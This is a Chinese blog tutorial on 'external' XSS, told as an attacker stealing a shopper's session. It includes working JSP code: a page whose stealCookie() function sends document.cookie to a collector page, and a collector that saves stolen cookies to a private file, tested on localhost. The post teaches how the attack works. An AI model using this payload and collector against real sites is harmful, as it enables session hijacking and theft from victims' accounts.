XSS研究2-来自外部的XSS攻击

简介:

引入:

上文中我们的例子是研究了来自内部的XSS攻击,通过输送一段有害js代码到受害者的机器,让其在受害者的域上运行这段有害JS代码来得到入侵目的。现在我们来看下来自外部的XSS攻击。


实践:

下面还是按照惯例,我用白话文来解释下什么是来自外部的XSS攻击。


假设我是攻击者,A是受害者,我知道A有个习惯,他会经常去某个奢侈品消费网站登录,然后每次登录用他的积分买很多东西,我没钱,我想通过A的账号密码登录同样的网站,然后用他的积分去买东西给我自己。显然因为A知道我是受害者,所以我直接问A要账号密码,他肯定会报警的,怎么办呢?


这时候,我知道A经常在同一机器上登录,然后Cookie信息会存放在他那台机器的本地,于是,我就想办法植入一段恶意脚本在哪个奢侈品网站上,因为A每次登录,它的信息都会存在Cookie中,然后我的恶意脚本就会每次从他的Cookie中读取信息,然后发送到我自己架设的服务器上,然后我自己架设的服务器有一段代码会吧这个Cookie信息存放在本地的一个私密的文本文件中,这样他每次登录,我就能在我本地的文本文件中知道A的Cookie信息了。当然了,为了触发那段恶意脚本,我必须确保A会点击我要的有恶意脚本的链接,我肯定会伪装一下,比如还是最常用的美女图片。



好,我们开始例子:

首先,我会在自己的磁盘目录上创建一个文本文件,比如说D:\privateLocation\stealCookieFile.txt

172318549.png

这个文件的作用是专门用来存储我盗取A的Cookie信息的。


然后,我就开始伪造一个带有恶意脚本的页面了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<%@ page language="java" contentType="text/html; charset=UTF-8"
     pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
< html >
< head >
< meta  http-equiv = "Content-Type"  content = "text/html; charset=UTF-8" >
< title >受害者页面,这个页面后台有XSS漏洞</ title >
</ head >
< script  type = "text/javascript" >
//创建一个cookie
function createCookie(username,password){
     console.log("invoking createCookie(username,password) method");
     //设置cookie的到期时间,假设30天后到期
     var expires =new Date();
     expires.setTime(expires.getTime()+30*24*3600*1000);
     var expireInfo="expires="+expires.toUTCString();
                                                                                                                                                                                                                                                                                                                                                                                                    
     document.cookie=username+"="+password+";"+expireInfo;
     console.log("current cookie:"+document.cookie);
}
//盗用cookie
  function stealCookie(){
      window.open('http://localhost:8080/XSSDemo/xss_victom2.jsp?cookie='+document.cookie)
  }
</ script >
< body >
< form   method = "post" >
< p >
< span >用户名:charles,密码 123456</ span >
< span >假定用户点击下面按钮会触发新建一个cookie并且存入,点击更下面一个按钮会盗用刚创建的cookie</ span >
</ p >
< input  type = "button"  value = "点击按钮会创建一个新cookie"   type = "button"  value = "点击按钮会盗用当前的cookie"  onclick = "stealCookie()" />
</ form >
</ body >
</ html >

为了简单起见,假设这个页面是这个奢侈品网站的页面,为了模拟登录,我提供了2个按钮,假设点击第一个按钮会创建一个当前用户Cookie(或者自动登录就是直接从Cookie中拿取用户信息),默认情况下,一般用户都会去登录页面的, 所以我这里也假定默认第一个按钮用户肯定会点的,然后第二个按钮是重点,它的背后会有一段恶意脚本,来盗取当前用户的Cookie.


然后在我盗取A的Cookie后,我得吧这个用户A的Cookie信息存起来到我的本地,以便下次我可以利用他的信息进行登录同样网站来买东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%@ page language="java" contentType="text/html; charset=UTF-8"
     pageEncoding="UTF-8"%>
<%@page import="java.io.FileOutputStream,java.io.File,java.io.IOException" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
< html >
< head >
< meta  http-equiv = "Content-Type"  content = "text/html; charset=UTF-8" >
< title >XSS盗用Cookie的Demo</ title >
</ head >
< body >
<%
//首先构造一个路径,这路径上的文本文件专门用来存放盗用的cookie
String stealCookieFile = "D:/privateLocation/stealCookieFile.txt";
out.println("准备存入盗取的cookie信息到:"+stealCookieFile+"< br >");
//获取提交过来的cookie值
String cookie= request.getParameter("cookie");
out.println("cookie信息:"+cookie+"< br >");
FileOutputStream fos = new FileOutputStream( new File(stealCookieFile));
try{
     fos.write(cookie.getBytes());
}catch(IOException ex){
     out.println("写入失败");
}finally{
     if(fos!=null){
         fos.close();
     }
}
%>
</ body >
</ html >



有了上述的1个文本文件和2个JSP代码之后,我们就可以来Demo了。


首先,我创建了恶意页面,假定用户已经登录了,为了模拟这种情况,需要用户点击第一个按钮:

172934449.png

从Console看出,已经点击了第一个按钮,这时候,其状态就相当于有一个Cookie:  charles=123456,这个信息存在在A的本地了。


现在,我要诱惑A去点击第二个按钮(假设是一个美女图片或者是非常吸引人的消息) ,当A点击了第二个按钮之后,他上当了,他的这个Cookie信息被我正确的拿到并且存放在我的本地文件中:

173134386.png


我去检查本地文件,果然发现A的Cookie信息被正确拿到了:

173256367.png


总结:

所谓外部的XSS攻击,其实是通过让用户执行一段恶意脚本,然后这段脚本会吧敏感信息偷偷的“偷”出来,然后放入攻击者的想要的地方,这些敏感信息可以是Cookie,user-agent或者其他的,反正js能拿到的信息,这里都可以,如果攻击者很恶意,他就可以拿到这些信息去做一些非法事情。打个不恰当的比方,比如我(入侵者)要窃取某个国家(受害者)的战时绝密情报(比如Cookie信息),但是因为他们国家防范措施太好(同源策略) ,我没办法直接拿到,于是我买通了他们国家某个人(比如色情图片链接),然后约定每当该国家发布情报时候(也就是受害者访问某网站),就把这个情报(对应Cookie)丢到某个指定情报交换位置(我架设的另外一台服务器),然后我从那个位置中获取这个情报(从请求对象中获取Cookie信息),然后解析它(读取Cookie),并且存放到我自己的情报库中(我本地的私密文件中)。



关于内部XSS和外部XSS的预防和解决,我会在以后文章中解决。





本文转自 charles_wang888 51CTO博客,原文链接:http://blog.51cto.com/supercharles888/1339921,如需转载请自行联系原作者
目录
相关文章
|
2月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
24 0
|
4月前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?
|
10天前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
|
3天前
|
存储 安全 JavaScript
【PHP开发专栏】PHP跨站脚本攻击(XSS)防范
【4月更文挑战第30天】本文探讨了Web开发中的XSS攻击,解释了其原理和分类,包括存储型、反射型和DOM型XSS。XSS攻击可能导致数据泄露、会话劫持、网站破坏、钓鱼攻击和DDoS攻击。防范措施包括输入验证、输出编码、使用HTTP头部、定期更新及使用安全框架。PHP开发者应重视XSS防护,确保应用安全。
|
18天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
2月前
|
安全 JavaScript 前端开发
Low 级别反射型 XSS 演示(附链接)
Low 级别反射型 XSS 演示(附链接)
|
2月前
|
存储 JavaScript 前端开发
DOM 型 XSS 演示(附链接)
DOM 型 XSS 演示(附链接)
|
2月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)
|
2月前
|
存储 前端开发 JavaScript
反射型 XSS 攻击演示(附链接)
反射型 XSS 攻击演示(附链接)
|
3月前
|
存储 安全 JavaScript
HW常见攻击方式 --XSS跨站脚本攻击
HW常见攻击方式 --XSS跨站脚本攻击
35 0